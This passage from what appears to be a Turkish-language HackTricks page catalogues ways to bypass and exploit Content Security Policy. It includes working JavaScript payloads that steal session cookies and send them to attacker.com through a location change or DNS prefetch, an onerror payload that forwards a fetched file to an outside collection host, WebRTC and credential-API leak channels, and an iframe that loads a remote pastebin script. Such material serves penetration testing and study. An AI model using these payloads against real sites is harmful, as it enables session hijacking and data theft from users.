bu CTF yazısı'nda, HTML injection aracılığıyla CSP'yi daha fazla kısıtlamak mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle açık hale geldi.
CSP, HTML meta etiketleri kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler kaldırılarak giriş'in nonce'ları ve belirli inline script'leri sha ile etkinleştirmek mümkün olabilir:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
JS exfiltrasyonu ile Content-Security-Policy-Report-Only
Eğer sunucunun Content-Security-Policy-Report-Only
başlığı ile kontrol ettiğiniz bir değer ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilir ve exfiltrate etmek istediğiniz JS içeriğini <script>
ile sarmalarsanız ve CSP tarafından unsafe-inline
'in muhtemelen izin verilmediği için bu bir CSP hatası tetikleyecektir ve scriptin bir kısmı (hassas bilgileri içeren) Content-Security-Policy-Report-Only
üzerinden sunucuya gönderilecektir.
Bir örnek için bu CTF yazımına göz atın.
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
CSP ve Iframe ile Bilgi Sızdırma
- CSP tarafından izin verilen bir URL'ye (bunu
https://example.redirect.com
olarak adlandıralım) işaret eden biriframe
oluşturulur. - Bu URL daha sonra CSP tarafından izin verilmeyen bir gizli URL'ye (örneğin,
https://usersecret.example2.com
) yönlendirir. securitypolicyviolation
olayını dinleyerek,blockedURI
özelliğini yakalayabilirsiniz. Bu özellik, engellenen URI'nin alan adını açığa çıkararak, ilk URL'nin yönlendirdiği gizli alan adını sızdırır.
Chrome ve Firefox gibi tarayıcıların CSP ile ilgili iframeleri ele alırken farklı davranışlar sergilediğini ve bu durumun tanımsız davranış nedeniyle hassas bilgilerin sızmasına yol açabileceğini belirtmek ilginçtir.
Başka bir teknik, gizli alt alan adını çıkarmak için CSP'yi istismar etmeyi içerir. Bu yöntem, ikili arama algoritmasına dayanır ve belirli alan adlarını kasıtlı olarak engelleyerek CSP'yi ayarlamayı gerektirir. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini bu alt alan adlarını engellemek veya izin vermek için değiştirerek farklı alt alan adlarını yinelemeli olarak test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl ayarlanabileceğini gösteren bir kesit:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
CSP tarafından hangi isteklerin engellendiğini veya izin verildiğini izleyerek, gizli alt alan adındaki olası karakterleri daraltabilir ve nihayetinde tam URL'yi ortaya çıkarabilirsiniz.
Her iki yöntem de CSP uygulamasının ve tarayıcılardaki davranışının inceliklerini kullanarak, görünüşte güvenli politikaların nasıl istemeden hassas bilgileri sızdırabileceğini göstermektedir.
buradan bir hile.
CSP'yi Aşmak için Güvensiz Teknolojiler
Çok fazla parametre olduğunda PHP Hataları
Bu videoda yorumlanan son teknik göre, çok fazla parametre göndermek (1001 GET parametresi, ancak bunu POST parametreleriyle ve 20'den fazla dosyayla da yapabilirsiniz). PHP web kodunda tanımlı olan header()
gönderilmeyecek çünkü bu bir hataya neden olacaktır.
PHP yanıt tamponu aşırı yüklenmesi
PHP, varsayılan olarak yanıtı 4096 bayt olarak tamponlama özelliği ile bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, uyarılar içinde yeterli veri sağlayarak, yanıt CSP başlığından önce gönderilecektir, bu da başlığın göz ardı edilmesine neden olur.
Bu durumda, teknik esasen CSP başlığının gönderilmemesi için yanıt tamponunu uyarılarla doldurmaktan ibarettir.
bu yazıdan bir fikir.
Hata Sayfasını Yeniden Yazma
bu yazıdan anlaşıldığına göre, bir hata sayfasını (potansiyel olarak CSP olmadan) yükleyerek ve içeriğini yeniden yazarak CSP korumasını aşmak mümkün görünmektedir.
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + 'self' + wordpress
SOME, bir sayfanın bir uç noktasında XSS (veya çok sınırlı XSS) istismar eden bir tekniktir ve aynı kökene ait diğer uç noktaları istismar etmek için kullanılır. Bu, saldırgan sayfasından savunmasız uç noktanın yüklenmesi ve ardından istismar etmek istediğiniz aynı kökende gerçek uç noktaya saldırgan sayfasının yenilenmesiyle yapılır. Bu şekilde, savunmasız uç nokta, payload içindeki opener
nesnesini kullanarak istismar etmek için gerçek uç noktanın DOM'una erişebilir. Daha fazla bilgi için kontrol edin:
SOME - Same Origin Method Execution
Ayrıca, wordpress'te /wp-json/wp/v2/users/1?_jsonp=data
adresinde bir JSONP uç noktası bulunmaktadır ve bu uç nokta, çıktıda gönderilen veriyi yansıtacaktır (yalnızca harf, rakam ve noktalarla sınırlıdır).
Bir saldırgan, bu uç noktayı WordPress'e karşı bir SOME saldırısı oluşturmak için istismar edebilir ve bunu <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
içine gömerek kullanabilir; bu script 'self' tarafından izin verildiği için yüklenmiş olacaktır. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için CSP'yi atlayan savunmasız callback uç noktası aracılığıyla SOME saldırısını istismar edebilir...
Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/ adresine bakın.
CSP Exfiltration Bypasses
Eğer dış sunucularla etkileşimde bulunmanıza izin vermeyen katı bir CSP varsa, bilgileri dışarı aktarmak için her zaman yapabileceğiniz bazı şeyler vardır.
Location
Sadece konumu güncelleyerek saldırganın sunucusuna gizli bilgileri gönderebilirsiniz:
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta etiketi
Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, bu içerik sızdırmaz)
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
Sayfaları daha hızlı yüklemek için, tarayıcılar ana bilgisayar adlarını IP adreslerine önceden çözümleyecek ve bunları daha sonra kullanmak üzere önbelleğe alacaktır.
Bir tarayıcıya bir ana bilgisayar adını önceden çözümlemesi için şunu belirtebilirsiniz: <link rel="dns-prefetch" href="something.com">
Bu davranışı DNS istekleri aracılığıyla hassas bilgileri sızdırmak için kötüye kullanabilirsiniz:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
Başka bir yol:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
Bunun olmasını önlemek için sunucu HTTP başlığını gönderebilir:
X-DNS-Prefetch-Control: off
tip
Görünüşe göre, bu teknik başsız tarayıcılarda (botlar) çalışmıyor.
WebRTC
Birçok sayfada WebRTC'nin CSP'nin connect-src
politikasını kontrol etmediğini okuyabilirsiniz.
Aslında, bir DNS isteği kullanarak bilgiler sızdırabilirsiniz. Bu koda bir göz atın:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
Başka bir seçenek:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
Kimlik bilgisi açılır penceresi, sayfa tarafından kısıtlanmadan iconURL'ye bir DNS isteği gönderir. Sadece güvenli bir bağlamda (HTTPS) veya localhost'ta çalışır.
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
CSP Politikalarını Çevrimiçi Kontrol Etme
CSP'yi Otomatik Olarak Oluşturma
https://csper.io/docs/generating-content-security-policy
Referanslar
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
- https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.